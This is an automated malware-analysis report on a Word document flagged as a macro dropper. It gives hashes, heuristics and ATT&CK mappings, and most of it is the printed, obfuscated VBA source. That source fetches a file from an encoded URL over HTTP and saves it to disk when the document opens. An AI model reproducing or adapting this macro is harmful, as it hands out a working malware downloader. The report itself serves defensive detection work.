Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec3c143320b849e3…

MALICIOUS

Office (OLE)

466.0 KB Created: 2018-10-16 16:11:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: a204071f81a9c157fda02f0abefa6c59 SHA-1: 6d981409d388393d6aba29c1e545027a810e0021 SHA-256: ec3c143320b849e3fc8263d0c0dcdf3eb7e63c0da02fa1e43db2b04319939160
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macro downloads and saves a file to disk. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic suggests an obfuscated loader mechanism, likely responsible for executing the downloaded payload. The presence of a 'Document_Open' macro and the 'CreateObject' call further support the execution of malicious code upon opening the document.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-7119371-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7119371-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        RdHAYT = GiLmy.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set afkOn = CreateObject(NzzlXbyqcv("AgF[YgDlcLmNOh P[cDY )ULB DFQC.VZF]&SrWQ ztG _V!rIE .LeuK  Fay.iSwmsD   "))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set afkOn = CreateObject(NzzlXbyqcv("AgF[YgDlcLmNOh P[cDY )ULB DFQC.VZF]&SrWQ ztG _V!rIE .LeuK  Fay.iSwmsD   "))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Call afkOn.SaveToFile(Environ(VcqomlHz("A SYgGl [ Lhl!D & UGQ[h(s  GpFecv&e#r nqbBspNb%kPV e #r&w#(yoC LU!fu#QO iyc!aXlis^[GeuePQ_")) & NzzlXbyqcv("\yhDsV\uk   jr  kQb^rFXBto]y[(ya] DQA  m RxLKUf%. pFJ(eMs](XxI)!HUeV.vl!"), 5 + 3 - 6)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 187622 bytes
SHA-256: 00f4337d38c7a2ee984451e1f98d715c736bf0f6ea2ef521319c9a72fec60ba4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
950 of 1534 identifiers look randomly generated (e.g. 'tCZpXJkhLEfqSODfjbgj'); 59 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    

            While EECZLC < 1
                While MdePpF < 4
                    FgAiRPZ = RTrim("fW!F] VDC.u a") + StrReverse("&jGK pLDi#Bv")
                    rtfQgloOU = 55 + 77 + 21 + 36 + 17 + 56
                    mpEdJqfmff = UCase("rN z L?Ip$P !fsnLD") + RTrim("qN]P W?zKc A@")
                    mexCvagxAT = RTrim("  quf_?@h]o?ea)xn ") + StrReverse("kJF Y!HBs  QB")
                    MdePpF = MdePpF + 3
                Wend

                pFvaDPWueDFk = 36 + 43 + 65 + 19 + 51
                zRCnjMRxht = Right("u  D@A . KOH_( ?] ", 3)
                GpRSaadhz = RTrim("Jl GLQ") + UCase(" m bz @ Lu ) zVE ")
                paoOvURzI = Space(17) + Left("X_viPPqtpH ?hp ", 5)
                EECZLC = EECZLC + 2
            Wend

    

    FqYCLMx = LTrim("H)NdlMlfDJMTCz] M ")
            For ocxkoi = 2 To 3
                While ZhAOUo < 4
                    rmwGZauhyseA = LTrim("kz f#eZ   s.yB ]UNH%")
                    zRCnjMRxht = Space(11) + Left(" O?& UYc ^ ", 4)
                    qWzRzy = UCase("GBXE   ") + RTrim("la g _l[)x?")
                    ZhAOUo = ZhAOUo + 3
                Wend

                cIkgUKGpR = RTrim("ZZc   )m)DAqAB") + UCase("jAY tOx JkzT(VIFhog")
                waaWX = UCase("&v&c(MX cWa") + RTrim(" )  c N_H_i  ")
                paoOvURzI = RTrim("ZD ji QX xjL^ .") + StrReverse(" cM _A  qFS")
            Next ocxkoi

    

    

    iJDlcTggOuxt = UCase("  dg Ku..Rg  w[obYA") + RTrim("isY.ZoPm")
    qWzRzy = Right("jzN  !%", 3)
    jDOVgjDkpm = 92 + 90
    KbfZys "fyXABGyy", "dEVxVewo", "fxUsvXoL", "fpjqGu", "SCTtyPCp", "CznttiQE", "MRaHdOzZKg"
            While tDOPvh < 2
                FgAiRPZ = UCase("$yY[s%nr Yf $r N") + RTrim("[S$H ")
                HlmrvMC = Space(18) + Left("d -AHbL  Rr", 4)
                WZnkqnyJDus = 94 - 5 - 21 - 66
                mexCvagxAT = Space(18) + Left("fi  W[ PDC", 5)
                rtfQgloOU = UCase("c&%F L") + RTrim("RkqmZ-L sq  fp I")
                tDOPvh = tDOPvh + 3
            Wend

    zRCnjMRxht = RTrim("V$ n cWqCB") + UCase("V uM(")
    qlkGZZ = LTrim(" pA vngaE zJt#xiGTy")
            While WBZpwc < 3
                For KijCLG = 2 To 10
                    uuTeNQUu = 95 - 87 - 40
                    waaWX = Space(6) + Left("tT rpI RSXb(SaxPLP", 4)
                    eHAuRBDsS = LTrim("[uq?YN")
                    HlmrvMC = Right("CDd $ t", 4)
                    RwgzMRHD = Left("idD&  Q  uf", 5) + LTrim("iIf&GN (@[p]rs ")
                Next KijCLG

                

                

                qlkGZZ = RTrim("Rt B @lIHCjG   _$E ") + UCase("w  sb? AJ e ]c")
                HlmrvMC = LTrim("D MYeKgo) V& W  S")
                WBZpwc = WBZpwc + 2
            Wend

    WZnkqnyJDus = Space(11) + Left(" g r   _]i@Ak", 5)
    qWzRzy = RTrim("B HhJ  Eou   ") + StrReverse("YxLFCP o@L C ^ ")
    InAulREaOPn = 37 + 23 + 76 + 17
    mpEdJqfmff = LTrim("OhUjwv%uaVJ ")
            For HMKxcw = 2 To 7
                FKgrCyPPdp = RTrim("IF  xaRJj h TIEv") + UCase(" PtK (^  &   yH")
                osoNFqlxupV = Space(14) + Left("Ql q  Mfx  jAkv", 3)
                uuTeNQUu = RTrim("?fa]t") + StrReverse("e  V&Og")
            Next HMKxcw

            For FmMMGI = 2 To 4
                While getpkc < 5
                    rZHDX = RTrim("%Ul fWm raB](  uM^") + UCase(" f@%U[!Xm?_? ")
                    pFvaDPWueDFk = Right("Oz(T@%  sNXh)", 5)
                    FjdnqGb = LTrim("Om^cTi^ic %-")
                    

                    mexCvagxAT = RTrim("e C Ss^ ]Q ") + StrReverse("#.R   d  AF")
                    getpkc = getpkc + 2
                Wend

                alBSiWfNXxXn = RTrim("  -Hf") + UCase(" i  Lm   uyzL!  d")
                FgAiRPZ = Left("o U g", 2) + LTrim("JHI  QwN g d y _ $")
                qWzRzy = Right("(l KH k ] Qk  Pu", 5)
                RwgzMRHD = RTrim("HaSNu]LvCD) x r C ") + StrReverse(" YP  ht@ (ggy[% c")
            Next FmMMGI



End Sub



Attribute VB_Name = "Module1"
Public Sub spnAKfj(JyGAfI As String, GYHWjVC As String, GjfKJw As String, lilSLi As String)
    waaWX = LTrim(" %DFXg.")
    tmSnBdeXJ = RTrim("o(rsGz ps &C?V y") + StrReverse("ygd Rog[nui")
    GpRSaadhz = LTrim("xgoD LW _ ")
    FgAiRPZ = RTrim("Cr#.ORS n#^l") + StrReverse("z yJ  (")
    FqYCLMx = Left("B! lOjX @xRo", 5) + LTrim("cEu$Qsh x!Tr(i-")
    GpRSaadhz = Right("u Mew!", 5)
    
    For CWRYYH = 2 To 8
        WZnkqnyJDus = Right("M   ^ D. nL", 5)
        qWzRzy = RTrim("Y   LraK !]") + StrReverse("s_s btNt_ rpQiX%m c")
        pFvaDPWueDFk = LTrim("x B fm)G IlJXYVdR")
    Next CWRYYH

    zRCnjMRxht = Space(15) + Left("S.  Vy]y ", 2)
    FgAiRPZ = 24 - 95 - 92 - 32 - 82
    cIkgUKGpR = Space(15) + Left(" lYu#", 5)
    eqoLIPMfCAoB = UCase(" )LTax# ]gvpB") + RTrim("b w  T& J")
    EZIprlAh = Left("vAeFcBOj#CZ K K#Ja[Z", 3) + LTrim("rQ?Y[gUg-Az  ] Xb")
    rmwGZauhyseA = 65 + 27 + 56 + 82
    qWzRzy = RTrim("AZfSVd  aU$NA    ") + StrReverse("rHQ#^_vbG")
    osoNFqlxupV = 91 + 23
    While cCSrfl < 3
        EZIprlAh = UCase("mFx  ") + RTrim("Ay s #Qdo- ml ")
        jDOVgjDkpm = 4 + 50 + 53
        InAulREaOPn = RTrim(")pI#$ofX?U ") + UCase("P ZsGgCN  CdAuAJ")
        cCSrfl = cCSrfl + 1
    Wend

    rZHDX = Space(18) + Left("#G) $n", 2)
    Set afkOn = CreateObject(NzzlXbyqcv("AgF[YgDlcLmNOh P[cDY )ULB DFQC.VZF]&SrWQ ztG _V!rIE .LeuK  Fay.iSwmsD   "))
    FqYCLMx = Space(20) + Left("SoCVd YY.  M$", 3)
    

    For SboBgY = 2 To 9
        cIkgUKGpR = 8 - 94 - 22
        hTlUPxQn = RTrim("P_ HM KSvr  w") + StrReverse("tTx CGOL ")
        Teiebdcgw = Left("wjsTV (AO&!", 2) + LTrim(" A t   D")
        InAulREaOPn = Right("S_ mw[ crv  &)z", 2)
    Next SboBgY

    qlkGZZ = RTrim("!-EthtW( H)  ") + UCase("TU   ZQNh  ")
    osoNFqlxupV = RTrim("x Gi ntk") + UCase(" )&  zSJp pSAf")
    qfDYOGuMV = 4 + 3 + 77 + 23
    While lSOxXC < 1
        EZIprlAh = 73 + 8 + 42
        qlkGZZ = RTrim("c L pyU v -K J)X") + StrReverse("C@Slb .?S_[ ^bH")
        waaWX = 89 - 71 - 62 - 43
        mexCvagxAT = Space(9) + Left("VwW  D I", 5)
        eqoLIPMfCAoB = LTrim("h[g#)gjU KV   yHx")
        lSOxXC = lSOxXC + 3
    Wend

    eHAuRBDsS = Space(17) + Left("gI  qBUE a[ ", 5)
    While Jjxenx < 4
        

        InAulREaOPn = RTrim("On^ e Ycm B  ") + UCase("ajOVK_@JhB S!Q [h.y")
        eqoLIPMfCAoB = RTrim(" ]-q[H-NXsmAw ") + UCase("]oVI! ]p[RH @^  lFvd")
        RwgzMRHD = UCase(")mMJDU.sM MX ") + RTrim("FQfWEh M?MsTv m^")
        Jjxenx = Jjxenx + 1
    Wend

    Teiebdcgw = LTrim("-ZzjCf B OZIce")
Dim GiLmy As Object
    HlmrvMC = Right("h OPg ", 4)
    While ynvZUf < 5
        For jsHttJ = 2 To 7
            Teiebdcgw = RTrim("j k gsf") + StrReverse("zZe p[ Z zrD")
            zdaiDLxzr = 86 + 100 + 90 + 32
            fBWufRxX = Space(20) + Left(" XF] bp", 2)
            WZnkqnyJDus = 24 - 11 - 27 - 27
            

        Next jsHttJ

        qfDYOGuMV = RTrim("  Lsn]On  wdrDR^.d") + StrReverse("h & ZIpcbXY [Y kis@l")
        hTlUPxQn = Space(9) + Left("ja!G $t", 2)
        rZHDX = Right("KQ #U  ( !oYuXv&", 2)
        qfDYOGuMV = 78 - 39
        

        ynvZUf = ynvZUf + 1
    Wend

    While lwyJRo < 2
        For fXagWZ = 2 To 10
            rmwGZauhyseA = 11 + 12 + 62 + 34 + 74
            InAulREaOPn = 86 - 79 - 61 - 98 - 54
            osoNFqlxupV = 7 + 89
        Next fXagWZ

        pFvaDPWueDFk = Right(" Tk cBT% Wpl Pi^", 3)
        FKgrCyPPdp = 42 - 3 - 94 - 1
        rtfQgloOU = Right("Qy  &o @Ol% p", 3)
        lwyJRo = lwyJRo + 3
    Wend

    jDOVgjDkpm = Left("e G e&", 2) + LTrim(" X    HW@(Q )   (F")
    iJDlcTggOuxt = 64 - 97 - 20 - 65 - 49
    kECxuuFaB = 11 - 39 - 37 - 6 - 17 - 77
    dnQeHS = RTrim("__k  MH TILLW ") + UCase("oc  #   Ul&nfm")
    WZnkqnyJDus = 8 - 2 - 49 - 96 - 61 - 62
    WZnkqnyJDus = LTrim("c]  ^NFAVt  n  -")
    FqYCLMx = LTrim("v#opV  r $g v^W  ")
    afkOn.Open
    For KLuULj = 2 To 5
        While fgpDdH < 2
            qlkGZZ = Space(7) + Left("x[R? h[)-!ym", 2)
            fBWufRxX = UCase(" _ vKcCbUw$Up") + RTrim("U  ldmMH! (Oarf@U")
            kECxuuFaB = RTrim("DYGu%qYnY(lW g") + StrReverse("(MFnw  CO")
            Teiebdcgw = RTrim("d]m@ w qS$xmFQ hV   ") + StrReverse("nmsJQ&bNJ#IOSL.h  jx")
            fgpDdH = fgpDdH + 1
        Wend

        waaWX = Right("I SaP-Hd  qeEbm_XF  ", 2)
        dnQeHS = 62 - 44
        osoNFqlxupV = UCase("wmd !%wo TAKaY?") + RTrim("&vUB^th [n N ")
        EZIprlAh = RTrim("r CtSK rx j  Z") + StrReverse(" QW-E_y")
        FKgrCyPPdp = RTrim("X  KyB]Ta ") + StrReverse("  !M_")
    Next KLuULj

    RwgzMRHD = RTrim(" B  BHFt sQF") + UCase("CqmcvgobhGrM E")
    rmwGZauhyseA = 51 + 45 + 56 + 57
    RwgzMRHD = Space(7) + Left("X s FyM$WG", 2)
    jpWSEunhd = UCase("SNoHZnDxvE @VV w[G") + RTrim("Ue YoU-B")
    For RNUwnw = 2 To 8
        pFvaDPWueDFk = Left("U s(?nF#KG Tf", 3) + LTrim("Bgv J l% t@a")
        InAulREaOPn = Left("m@uh@", 5) + LTrim("^JsyBT%zRBSom ")
        HlmrvMC = Left("Rib?  U T@", 5) + LTrim("Q  -i ")
        paoOvURzI = Right("W   v ", 4)
    Next RNUwnw

    WZnkqnyJDus = 72 + 39 + 52 + 100 + 8
    EZIprlAh = RTrim("wkAJquT# z ") + StrReverse(" L  qkxc   M   R")
    While pzAwjv < 1
        While JNUtBJ < 4
            cIkgUKGpR = RTrim(") pL!( %Px@x fd] ") + StrReverse("RYjkTQ]hOYSb A")
            FjdnqGb = Right("Ww jfaAZ[e Het ", 5)
            kECxuuFaB = 2 + 91 + 0 + 65
            GpRSaadhz = 4 + 71
            JNUtBJ = JNUtBJ + 1
        Wend

        

        qfDYOGuMV = RTrim("Fu  eI sAD w! ") + StrReverse("rGJCU^qT  J   ")
        alBSiWfNXxXn = Left("M.(F m&tQW", 2) + LTrim("lo%@GHK f. $uEm")
        pzAwjv = pzAwjv + 3
    Wend

    

    fBWufRxX = Left("Ht   E!)_", 4) + LTrim("HHj)    ")
    For zncefh = 2 To 6
        rZHDX = Right(" U^gc!xAC", 3)
        EZIprlAh = RTrim("M!kXT OLcE") + UCase("o- @F o")
        FjdnqGb = RTrim("! lURD_ ^ YO i .!&") + UCase("MXN RpJgODH An")
        RwgzMRHD = Right(" ) Fq", 4)
        

    Next zncefh

    afkOn.Type = 86 - 85
    waaWX = Space(12) + Left("PS    @wM  qcZ w ", 3)
    alBSiWfNXxXn = 38 - 32
    WZnkqnyJDus = 98 - 18 - 22 - 58 - 50
    iJDlcTggOuxt = Right(" P RItkBLK[ &)", 4)
    GpRSaadhz = RTrim("  aMA  vXg OB K") + UCase(" ifkXw(V bVOF")
    InAulREaOPn = 28 - 100
    iJDlcTggOuxt = RTrim("kih@(]& Omk n Y") + UCase("  jWo h xTdHz ocb")
    cIkgUKGpR = 4 - 49 - 27 - 25 - 65
    mpEdJqfmff = LTrim("z&$Dueg  D iLJAM ")
    WZnkqnyJDus = Space(7) + Left("O jQI q ", 2)
    kECxuuFaB = Space(3) + Left(" A#y-A ", 4)
    Teiebdcgw = LTrim("m    WAL)[")
    Set GiLmy = CreateObject(VcqomlHz("Mz@ltfiGt# &c rTp-r s  qo[x!!xs%kWDwoni$XRfQ EQGt g#kf.?xkd%X)uMlqM.X  JL kel HX rDTTwc OkTpKqPJPBDay]"))
    osoNFqlxupV = UCase("uUk G  $ ") + RTrim("DHUG CVM")
    zdaiDLxzr = Right(" e?qZrv maSK", 2)
    While gWPEjN < 5
        uuTeNQUu = LTrim("NzR ?_[m   &VbZlVkH")
        tmSnBdeXJ = UCase("O#bTdpzg  z J  nLQG") + RTrim(" OYoJdWuJcIA ")
        RwgzMRHD = RTrim("[Q O )I  yBOGn Z t") + StrReverse("K g     ")
        rtfQgloOU = UCase("XL%SnIb .q") + RTrim("   QaUO[?")
        gWPEjN = gWPEjN + 3
    Wend

    qlkGZZ = RTrim(" Oe  E#pn.OYe") + StrReverse(" Gx   T#czU@qEns")
    eqoLIPMfCAoB = 64 + 38 + 9 + 53 + 28
    FgAiRPZ = Right("n Y#pIOO    Sc", 2)
    uuTeNQUu = RTrim("( F Nw#@mP.") + StrReverse("  Rbt")
    pFvaDPWueDFk = 8 - 49 - 74 - 32 - 80 - 74
    alBSiWfNXxXn = RTrim("ySua f WDN )p ))Q ") + UCase(" $  mB ] g uKJK")
    GpRSaadhz = RTrim("$uU ELf No WGp") + UCase("-sQ oBw  o q#  @K")
    GiLmy.Open VcqomlHz("G.)JW&Eo!PhoT  Prz"), NzzlXbyqcv("hu psJtHg)hqtqZQFspjj]($:bm E(/F&RiL/ak]f(p^%xa?a m  tr!o   aO#@%LpGsTu egT[#]ngJpumtt )X e)  h vJ KO eN-XEhj#NE ieKPsxprh idU.@)@i c&c  &oFkjUym#_I V/Zj%V _  Z&MoVeL  u@   -tJSCtRp b  mu( @(ZtC?@]-5qqZQoE TV &EIc#[_1w %  8 opy 1DX(  0pLk L.]ti]xex?m(rx U YaejMf#-"), False
    For mcxJxs = 2 To 3
        For woQSoh = 2 To 7
            FKgrCyPPdp = UCase("u(  zVY_M w .") + RTrim("N(.QzxR@IkE")
            rmwGZauhyseA = 46 + 86
            jDOVgjDkpm = RTrim("iwgVI  @") + UCase("( DE liZ%ECNAu?!")
        Next woQSoh

        EZIprlAh = RTrim("I#uiPXv n  ") + StrReverse("!Y!t^O    qW")
        rmwGZauhyseA = Left(" NvcnMb.B _.c%. @", 3) + LTrim("EoO CMhvtNK sSa")
        alBSiWfNXxXn = RTrim("EW   S@.)OXP&") + StrReverse("lz d  a(   Q&gRLcUq]")
        mexCvagxAT = UCase("R)xd io]Nd") + RTrim("-B[ Da h.NaN")
    Next mcxJxs

    jDOVgjDkpm = UCase(" B qd  %  d qKim%X") + RTrim("_[ X&L kOjF?Y#")
    While xpsFEy < 3
        While IuGKcw < 3
            rtfQgloOU = Space(13) + Left("Z!xNozPpG$pP", 5)
            

            dnQeHS = Space(4) + Left("-qHCix )jBpZWCK", 2)
            EZIprlAh = Right(" @P[ZK#@gf    R", 5)
            IuGKcw = IuGKcw + 2
        Wend

        GpRSaadhz = UCase("  u? I b zjAYZ") + RTrim("Jb?Pi  NX nW.Uf")
        zdaiDLxzr = RTrim("Q yfOa ") + StrReverse("j^ YrEk[-Mw in[vZa")
        hTlUPxQn = Left(")#W  m[d", 3) + LTrim("NM hcUVyUx")
        rZHDX = UCase(" .H[FDL e KE$BNN ") + RTrim("oU.m&")
        xpsFEy = xpsFEy + 2
    Wend

    

    WZnkqnyJDus = RTrim("ZVLlQ$i ") + StrReverse("cNn cN sr-lT&  #zc  ")
    zdaiDLxzr = 27 - 33 - 58
    For GgwJqB = 2 To 5
        For dBvxUf = 2 To 10
            rZHDX = RTrim("ZNT$ g-vYvZ") + UCase("CxUf w)lRFb  jsZS&g")
            FjdnqGb = Right("u  o%mboq FB ", 5)
            jpWSEunhd = RTrim("dxHX^J x f#@jkYz .T") + StrReverse("  oRetKk E  y")
        Next dBvxUf

        rmwGZauhyseA = 14 + 45 + 85 + 25 + 36
        

        hTlUPxQn = Right(") R @  ^ vdXPK", 2)
        jpWSEunhd = LTrim("CL-JF R   OJ")
    Next GgwJqB

    FjdnqGb = RTrim("I Eo-   lfmGNc Dj") + StrReverse("VS& IZSTFHf!Q  T!p")
    qWzRzy = LTrim("Fae(e DvJ")
    tmSnBdeXJ = 58 - 53 - 6 - 96 - 84 - 97
    EZIprlAh = Left("eOlN](O c#_t%xBnhf%", 2) + LTrim("g?Jf  ^ [[Xj FX")
    GiLmy.Send
    For PHIBOq = 2 To 7
        

        HopTruUGRp = Right("[$iP Q $WU( $[i Mf", 3)
        

        HopTruUGRp = 87 - 86 - 55 - 93
    Next PHIBOq

    FjdnqGb = 7 - 46 - 51 - 9 - 14
    For QwTcKa = 2 To 3
        While AblvgI < 3
            waaWX = Space(3) + Left("hMtVk ", 3)
            cIkgUKGpR = 37 + 65 + 37 + 70 + 24
            FqYCLMx = 9 + 34 + 26 + 52 + 56 + 15
            kECxuuFaB = RTrim("z # Izyq") + UCase("UV)w&J$ K  ")
            AblvgI = AblvgI + 3
        Wend

        fBWufRxX = Right("^^Pjwqj[ [yXk!  ", 2)
        rZHDX = 9 - 72 - 62
        uuTeNQUu = RTrim("yI[FR    . F KE) F a") + StrReverse("amIc!?r$g]#V^  x)Q")
    Next QwTcKa

    HopTruUGRp = 36 + 99 + 1 + 84
    hTlUPxQn = Left("R fk vNY)", 5) + LTrim("G$P W)")
    While cJHplf < 1
        For tgugFY = 2 To 6
            dnQeHS = 30 - 79 - 61 - 22 - 100 - 17
            eHAuRBDsS = Space(20) + Left("b.RG M( PxKC ", 4)
            jpWSEunhd = Left("dIIE )zoM A", 2) + LTrim("UW $urB@!o$-)AY ")
            WZnkqnyJDus = Left("Y APH ehTe )p$ A", 2) + LTrim("# r Ux  Y")
        Next tgugFY

        rmwGZauhyseA = RTrim("  J]NI  ") + UCase("GvV)^YT?J Vk")
        GpRSaadhz = Space(8) + Left(" jlb n)#   C)v%- ", 4)
        kECxuuFaB = RTrim("BbRPas VSJ# !tr") + UCase("^MHwVFA  b  !ci(P")
        cJHplf = cJHplf + 2
    Wend

    zRCnjMRxht = Space(2) + Left("!mo  t  K gnC l", 5)
    mexCvagxAT = 89 + 63 + 71 + 5 + 97 + 74
    jDOVgjDkpm = UCase(" m ^rG ") + RTrim("V !  v rZ")
    For AiICtI = 2 To 3
        While zpooAt < 1
            fBWufRxX = 11 + 55
            Teiebdcgw = Right(" s]GadGx ELW", 4)
            rZHDX = 68 + 45
            zpooAt = zpooAt + 1
        Wend

        waaWX = Left("d[AT G  ", 4) + LTrim(" Unq ")
        mexCvagxAT = RTrim("#b% UOBzy u(z$!") + StrReverse("]! H_)h")
        iJDlcTggOuxt = Space(9) + Left("z PxeD", 3)
    Next AiICtI

    zdaiDLxzr = RTrim("dUD  oi% XCV fy ") + StrReverse("v H yv V guJ(")
    rtfQgloOU = Left(". r F IS B!c", 4) + LTrim("dYvw P #o l[pysDkQyD")
    uuTeNQUu = Space(15) + Left("VF[ oN &oZ-LLIqE]", 2)
    RdHAYT = GiLmy.responseBody
    zdaiDLxzr = Right("i -P  bv!?Z", 3)
    HopTruUGRp = RTrim(" q$aDwQ Kt]Ey ^t ") + UCase("%ege E-UG M n  B)Z")
    rtfQgloOU = LTrim("!n c$& ")
    

    rmwGZauhyseA = LTrim("MN% )D fE")
    While BERKKe < 1
        alBSiWfNXxXn = 47 - 55
        fBWufRxX = Left(" xiC@c _BGj GcyEvc", 2) + LTrim("Rc UxOz.#Ctr ")
        zdaiDLxzr = LTrim("kJ S ")
        eHAuRBDsS = LTrim("kXPviWxB ^Ii dS$] a")
        rZHDX = RTrim("Hs_  TJlL (vJq") + StrReverse("Ifv    cD")
        BERKKe = BERKKe + 1
    Wend

    qfDYOGuMV = RTrim("#X(y?E  ") + StrReverse("sgBJ gYf_elBsHV  n")
    For VheiDK = 2 To 3
        For ptUAPw = 2 To 8
            FjdnqGb = 3 + 2 + 9 + 49
            mpEdJqfmff = RTrim("sQ atxMU F") + UCase("S#bK #^A w) ")
            zRCnjMRxht = Left("  NiZA rw", 3) + LTrim("vuTB SJ$ ")
            qWzRzy = 79 - 86 - 96
        Next ptUAPw

        qWzRzy = RTrim("sGzbo.m . ") + StrReverse("]UK H #yKH_.T Ab")
        dnQeHS = RTrim("YPOYq  CY") + UCase("qInhj! ")
        FKgrCyPPdp = LTrim("?X Vt ")
        waaWX = UCase("Izj C#GPz  s") + RTrim("HX&u$Lxq$Q  ")
    Next VheiDK

    While CpHLHQ < 5
        While qFVsCk < 2
            

            uuTeNQUu = RTrim("]k  Uzi CeSt  )A E") + StrReverse("zD)%Os_ V")
            zRCnjMRxht = Right("%? i]tS iq qJ", 4)
            FqYCLMx = Left(" DZ?jWv% au A  l  ", 5) + LTrim(" r@$Oz)g")
            paoOvURzI = Right("- ksP [yUp", 2)
            qFVsCk = qFVsCk + 3
        Wend

        Teiebdcgw = RTrim("QL_ ezW P^  M].wyWPR") + StrReverse("ZDfs &Flr a t M@mR-P")
        

        pFvaDPWueDFk = 73 + 82 + 49 + 44
        CpHLHQ = CpHLHQ + 2
    Wend

    osoNFqlxupV = Space(17) + Left("]Chz[ Gh cINSa  Md ", 3)
    

    qWzRzy = Right("L(p#qt  ZI#_", 5)
    afkOn.Write RdHAYT
    FKgrCyPPdp = Right(" Ex c-u", 3)
    While jRrtnQ < 3
        While JIKWyB < 2
            eHAuRBDsS = RTrim(" h_inz") + StrReverse("   fF!I ")
            jDOVgjDkpm = UCase("Q?T[]sjdNg^?ajtZWro") + RTrim("Gof  ")
            rmwGZauhyseA = UCase("$)T B s sfng] DC WV@") + RTrim("sDX y l(@W ")
            JIKWyB = JIKWyB + 2
        Wend

        uuTeNQUu = Space(2) + Left("ffY kHB t)tI", 5)
        FqYCLMx = RTrim("( wtw?% (n N  cyump") + StrReverse("P J  U")
        

        jRrtnQ = jRrtnQ + 2
    Wend

    FgAiRPZ = LTrim("JIp %y[G$ Z&")
    dnQeHS = Space(9) + Left("r a   #  KpTN  ", 2)
    pFvaDPWueDFk = Space(13) + Left("PyweBzKwF$EOZ", 4)
    dnQeHS = 37 + 26 + 81 + 39 + 41
    While oEkFyM < 2
        HopTruUGRp = LTrim(" AKmitNY% m d n bZ(b")
        rZHDX = Left(" M#DgKF A", 3) + LTrim("Eq LgqJoTDuae ho%V")
        zdaiDLxzr = RTrim("m  t _^#") + StrReverse("oW.o mF_")
        qlkGZZ = Right(" Rz NNc  xA", 5)
        oEkFyM = oEkFyM + 1
    Wend

    rmwGZauhyseA = RTrim("  ml B q%_[_ e?CM%") + UCase("^Uf_ ?i]t   xHQ^")
    For rODxfI = 2 To 3
        While UnXtUu < 4
            zRCnjMRxht = RTrim(" lTtxM %zG WA[DqQq ") + UCase("SKw  ] ^r ejde]f")
            FKgrCyPPdp = Right("ASQI EbZ &uC ", 3)
            eHAuRBDsS = UCase(" MIQ itk%n zs") + RTrim("y  . iE TAgJrN[vB S")
            

            UnXtUu = UnXtUu + 3
        Wend

        uuTeNQUu = LTrim("?JH s%M")
        dnQeHS = LTrim("$ Df hl [[ Ey^Z  a")
        mpEdJqfmff = RTrim(" Zzl KJ") + UCase("    p(dyY^@ ")
    Next rODxfI

    cIkgUKGpR = Right("ZQK) XtFr?S", 3)
    EZIprlAh = RTrim("  iMcc?&") + UCase("] oV c  c(x_ _l")
    iJDlcTggOuxt = Space(18) + Left("  PmcE", 5)
    Call afkOn.SaveToFile(Environ(VcqomlHz("A SYgGl [ Lhl!D & UGQ[h(s  GpFecv&e#r nqbBspNb%kPV e #r&w#(yoC LU!fu#QO iyc!aXlis^[GeuePQ_")) & NzzlXbyqcv("\yhDsV\uk   jr  kQb^rFXBto]y[(ya] DQA  m RxLKUf%. pFJ(eMs](XxI)!HUeV.vl!"), 5 + 3 - 6)
    FjdnqGb = UCase("  YQaexy C") + RTrim("p m]?")
    rZHDX = Right("oT  vLWs &%aelG", 2)
    mexCvagxAT = Space(1) + Left(" WfBx)ce[", 2)
    iJDlcTggOuxt = 97 + 3 + 32 + 28
    zRCnjMRxht = Left("H L N V-FVlC n l", 2) + LTrim("ytuU wSxopp DOn   j")
    For CxKAfA = 2 To 7
        qlkGZZ = Left(" ^h  ", 5) + LTrim("REH&[ Rb")
        RwgzMRHD = 97 - 12
        jpWSEunhd = UCase("pGJHQ ") + RTrim("wu[q_ q- x-juYEwmQc")
    Next CxKAfA

    

    tmSnBdeXJ = Left("iZd ku[nq", 2) + LTrim("Nx ! % zfBCUFx]_mj")
